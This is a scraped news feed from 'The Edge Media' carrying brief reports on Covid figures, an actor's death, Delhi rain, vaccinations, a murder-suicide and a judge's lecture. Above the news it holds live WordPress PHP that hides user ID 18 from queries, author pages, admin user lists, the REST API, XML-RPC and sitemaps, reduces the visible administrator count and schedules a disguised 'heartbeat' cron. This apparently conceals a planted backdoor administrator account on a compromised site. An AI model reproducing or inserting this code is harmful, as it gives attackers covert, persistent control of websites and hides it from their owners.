add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Biggest Daily Rise (47,092) In Covid Cases In 2 Months Amid Kerala Surge appeared first on The Edge Media.
]]>Kerala contributed 32,803 cases or nearly 70 per cent of new cases and a third of deaths. The total number of those affected in the state by the viral infection now stands at 40,90,036. The test positivity rate was reported at 18.76 and with 173 deaths, the number of fatalities increased to 20,961, a state government release said
With over 85 per cent Covid patients in the southern state isolated at home, the Health Ministry has stressed on a “smart and strategic lockdown” to curb the daily surge, sources told NDTV. Kerala has not been following the Centre’s advice while reporting the highest daily cases in the country, officials insisted, adding that neighbouring states are feeling the impact.
The post Biggest Daily Rise (47,092) In Covid Cases In 2 Months Amid Kerala Surge appeared first on The Edge Media.
]]>The post Leaked CBI Report Giving Ex-Maharashtra Minister Clean Chit Is Genuine: NCP appeared first on The Edge Media.
]]>The Central agency has now claimed that the report was leaked after a bribe was paid and it has registered a criminal case in this regard, NCP leader and Maharashtra minority affairs minister Nawab Malik told reporters.
But the Central Bureau of Investigation is not stating that the report itself was fake, he said.
“To save its face, it is saying that the report had been managed,” Mr Malik alleged.
The post Leaked CBI Report Giving Ex-Maharashtra Minister Clean Chit Is Genuine: NCP appeared first on The Edge Media.
]]>The post Sidharth Shukla passes away at 40 due to heart attack. appeared first on The Edge Media.
]]>Sidharth Shukla suffered a massive heart attack in the morning, it is learnt. He is survived by his mother and two sisters. “He was brought dead to the hospital some time ago,” the senior Cooper Hospital official told PTI
He was brought dead to the hospital some time ago,” the senior Cooper Hospital official told PTI.
Shukla began his career in showbiz as a model and made his acting debut with a lead role in the television show “Babul Ka Aangann Chootey Na”. He later appeared on shows such as “Jaane Pehchaane Se… Ye Ajnabbi”, “Love U Zindagi” but became a household name with “Balika Vadhu”.
The post Sidharth Shukla passes away at 40 due to heart attack. appeared first on The Edge Media.
]]>The post Heavy Rainfall Causes Waterlogging, Traffic Disruptions In Parts Of Delhi appeared first on The Edge Media.
]]>The city gauged 112.1 mm rainfall in the past 24 hours, which is the highest in at least 12 years, IMD officials said. In 2010, the capital had recorded 110 mm rainfall on September 20
Delhi has been receiving rainfall since yesterday morning. Earlier, IMD had predicted that thunderstorms and moderate to heavy rainfall would take place in part of Delhi-NCR.
“Thunderstorms with moderate to heavy intensity rain would occur over and adjoining areas of isolated places of Delhi, NCR- Gurugram, Manesar, Faridabad, Ballabhgarh, Tosham, Bhiwani, Jhajjar, Narnaul, Mahendargarh, Kosali during next 2 hours,” tweeted IMD.
The post Heavy Rainfall Causes Waterlogging, Traffic Disruptions In Parts Of Delhi appeared first on The Edge Media.
]]>The post 1.21 Crore Doses And Counting: India’s Single-Day Vaccination Milestone appeared first on The Edge Media.
]]>Today’s figures on the Co-WIN website showed 1,21,99,230 doses have been administered so far in the day.
India had achieved the one-crore doses milestone for the first time on August 27 this year.
A total of over 65 crore doses of COVID-19 vaccines have been administered so far across the country, the health ministry said Tuesday
Of the total 65,18,58,322 doses administered so far, 50,25,16,979 were first doses while 14,93,41,343 were second doses.
6Comments In the 60+ age group, 13.36 crore people have been vaccinated while 19.80 crore have been vaccinated in the 45-60 age group. In the 18-44 age group, 31.67 crore have been vaccinated so far.
The post 1.21 Crore Doses And Counting: India’s Single-Day Vaccination Milestone appeared first on The Edge Media.
]]>The post Moderna’s Shot Creates Twice As Many Antibodies As Pfizer, Study Shows appeared first on The Edge Media.
]]>A study of almost 2,500 workers at a major Belgium hospital system found antibody levels among individuals who hadn’t been infected with the coronavirus before getting two doses of the Moderna vaccine averaged 2,881 units per milliliter, compared with 1,108 units/mL in an equivalent group who got two jabs of the Pfizer shot.
The results, published Monday in a letter to the Journal of the American Medical Association, suggested the differences might be explained by the:
– higher amount of active ingredient in the Moderna vaccine — 100 micrograms, versus 30 micrograms in Pfizer-BioNTech
The post Moderna’s Shot Creates Twice As Many Antibodies As Pfizer, Study Shows appeared first on The Edge Media.
]]>The post 3 Hospital Directors Nominated For Padma Awards By Delhi: Arvind Kejriwal appeared first on The Edge Media.
]]>Dr SK Sarin from Institute of Liver and Biliary Sciences (ILBS), Dr Suresh Kumar from Lok Nayak Jai Prakash Narayan Hospital (LNJP), and Dr Sandeep Budhiraja from Max have been named.
The state government had received 9,427 suggestions, out of those 740 were for doctors and the rest for paramedical staff.
The names were picked by a three-member committee chaired by Deputy Chief Minister Manish Sisodia.
The post 3 Hospital Directors Nominated For Padma Awards By Delhi: Arvind Kejriwal appeared first on The Edge Media.
]]>The post Deepika Padukone Brings A New Edge To Leather Fashion In Her Rs 4.5 Lakh Ensemble appeared first on The Edge Media.
]]>She surely loves to delve into some rock chic looks – dressed in a statement Versace bralette top with artsy prints and delicate lace detailing at the hemline and strap of Rs 84K, she has yet again impressed the fashion police. She accented the look ever more with high-waist black, elasticated leather trousers from Alexander McQueen of Rs 3lacs and towering high metallic pumps by YSL of Rs 52K. With kohl-rimmed eyes, the actress pulled the look together with her hair tied in a low-bun. Well, when it comes to Deepika Padukone, the actress makes sure that she oozes oomph at every step she takes!
The post Deepika Padukone Brings A New Edge To Leather Fashion In Her Rs 4.5 Lakh Ensemble appeared first on The Edge Media.
]]>The post Jobless Engineer Slits Son’s Throat, Takes Poison With Wife: Cops appeared first on The Edge Media.
]]>His wife had also consumed poison with the man but survived.
The incident occurred during the intervening night of Friday and Saturday in Bhopal’s Misrod area, they said.
Both the man (55) and his wife were in acute depression, according to a primary probe based on the latter’s statements. Her statements also revealed that the couple had planned the entire episode nearly two to three days ago.
The post Jobless Engineer Slits Son’s Throat, Takes Poison With Wife: Cops appeared first on The Edge Media.
]]>The post “Intellectuals Have A Duty To Expose Lies Of State”: Supreme Court Judge appeared first on The Edge Media.
]]>Delivering the Justice MC Chagla Memorial Lecture, Justice Chandrachud also cautioned against an over-reliance on the government to provide social, political, economic, cultural and, in the current context, medical truths; he highlighted manipulation of COVID-19 data as an example.
“One cannot rely only on the State for truth. Totalitarian governments are known for their constant reliance on falsehoods to consolidate power… we see there is an increasing trend among countries to manipulate COVID-19 data,” Justice Chandrachud said.
The post “Intellectuals Have A Duty To Expose Lies Of State”: Supreme Court Judge appeared first on The Edge Media.
]]>